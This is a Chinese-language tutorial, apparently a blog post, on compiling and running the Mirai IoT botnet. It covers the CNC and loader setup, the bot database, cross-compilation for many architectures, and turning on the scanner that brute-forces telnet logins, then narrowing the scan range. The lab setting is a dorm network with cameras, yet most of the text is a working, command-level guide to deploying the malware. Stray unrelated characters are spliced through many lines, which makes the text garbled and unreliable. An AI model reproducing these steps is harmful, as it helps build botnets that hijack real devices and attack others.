一之剧、準(zhǔn)備
1.Mirai 使用了 C,Go 兩種編程語(yǔ)言,使用數(shù)據(jù)庫(kù)存儲(chǔ)數(shù)據(jù),因此提前安裝需要軟件如下命令:
sudo apt-get install git
sudo apt-get install gcc
sudo apt-get install golang
sudo apt-get install electric-fence
sudo apt-get install mysql-server mysql-client
2.下載源碼
git clone https://github.com/jgamblin/Mirai-Source-Code
3.修改參數(shù)缩焦,配置CNC
cd mirai/tools && gcc enc.c -o enc.out //編譯enc可執(zhí)行文件涝涤,用于ip地址異或
./enc.out string cnc.changeme.com //會(huì)返回一串“\x”字符串 (其實(shí)就是加密了 cnc.changeme.com)
./enc.out string report.changeme.com //會(huì)返回一串“\x”字符串
分別替換tables.c
文件中的18行和21行的“\x”字符串和后面的另一個(gè)參數(shù)
下圖是我得到的字符串和修改后的圖。提供參考。
記得:要修改兩個(gè)參數(shù)!(\x字符串和后面的長(zhǎng)度的參數(shù))
4.配置數(shù)據(jù)庫(kù)
cd ../../scripts //進(jìn)入script目錄
gedit db.sql //編輯大db.sql文件
添加use mirai;
如下圖
service mysql start //啟動(dòng)Mysql 服務(wù)
cat db.sql | mysql -uroot -proot
mysql -uroot -proot //以用戶名和密碼都是`root`登錄數(shù)據(jù)庫(kù)
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, ''); //添加的用戶
exit //退出
修改mirai/cnc/main.go
中用戶名和密碼與設(shè)置的一樣误辑。修改后如下圖
5.配置交叉編譯環(huán)境
cd .. && mkdir cross-compmile-bin //這里是在`Mirai-Source-Code`目錄下新建
cd cross-compile-bin
下載如下11個(gè)壓縮包
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz
2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
(有可能會(huì)下的很慢。我這里放一個(gè)我的下好的歌逢。鏈接:https://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig
提取碼:7o34 )
cd ../scripts
sudo ./cross-compile.sh
編譯過(guò)程會(huì)提示是否安裝 mysql,選否就可以
gedit ~/.bashrc //打開(kāi)環(huán)境變量
把以下放到最后
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
如圖:source ~/.bashrc //刷新環(huán)境變量
6.編譯CNC 和bot
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet
cd ../loader
./build.sh
至此環(huán)境全部配置完成巾钉。
二、說(shuō)明
設(shè)備情況:
電腦A:作為第一個(gè)被感染的設(shè)備秘案。在48101端口運(yùn)行./mirai.dbg
進(jìn)行掃描爆破砰苍。
電腦B:作為CNC&Loader。
CNC時(shí):在分別在23和101 端口運(yùn)行./cnc
發(fā)送攻擊指令阱高、與bot保持連接赚导。
Loader時(shí):在48101端口運(yùn)行./scanList
持續(xù)監(jiān)聽(tīng)。
連接情況:
1 電腦 A赤惊、B通過(guò)wifi連接宿舍局域網(wǎng)吼旧。
2 攝像頭A、B利用交換機(jī)與宿舍路由器連接未舟。
最終就是保證四臺(tái)設(shè)備要在同一網(wǎng)絡(luò)下圈暗,能夠相互連接。
三裕膀、測(cè)試
1.還需要一點(diǎn)調(diào)整
由于cnc啟動(dòng)是在/debug/cnc
目錄下進(jìn)行的员串,但是源碼里寫(xiě)的是絕對(duì)路經(jīng)。(如下圖)
所以我們把
mirai
目錄下的prompt.txt
移動(dòng)到/debug/cnc
下昼扛。如圖
2.啟動(dòng)CNC (電腦B)
go build -o debug/cnc cnc/*.go //在mirai 目錄下運(yùn)行
./debug/cnc
得到如圖:
再新開(kāi)一個(gè)終端嘗試連接 (可能需要管理員權(quán)限)
telnet cnc.change.com 23
得到如下提示后再按一下回車寸齐,輸入用戶名密碼登錄
得到下圖反饋表示登錄成功!
3 啟動(dòng)loader (電腦B)
cd mirai/debug
sudo ./scanListen
通過(guò)查看48101端口是可以看到該端口在運(yùn)行該程序
netstat -lput // 查看端口指令
4 啟動(dòng)掃描程序 (電腦A)
由于源碼默認(rèn)在 debug 模式中關(guān)閉了 scanner 功能抄谐,將bot/main.c 中157行和162行注釋后即可運(yùn)行渺鹦。
之后重新編譯運(yùn)行即可
在
mirai
目錄下運(yùn)行如下
./build.sh debug telnet
在mirai/debug
目錄下運(yùn)行如下(這里注意一定要用管理員權(quán)限進(jìn)行)
sudo ./mirai.dbg
則會(huì)開(kāi)始掃描如下:
5 控制掃描ip
由于源碼中是隨機(jī)找一個(gè)ip進(jìn)行爆破 (mirai/bot/scanner.c
674行起),修改代碼后暫時(shí)可以固定一位ip地址掃描斯稳。修改后固定第一位為‘10’海铆,結(jié)果如下: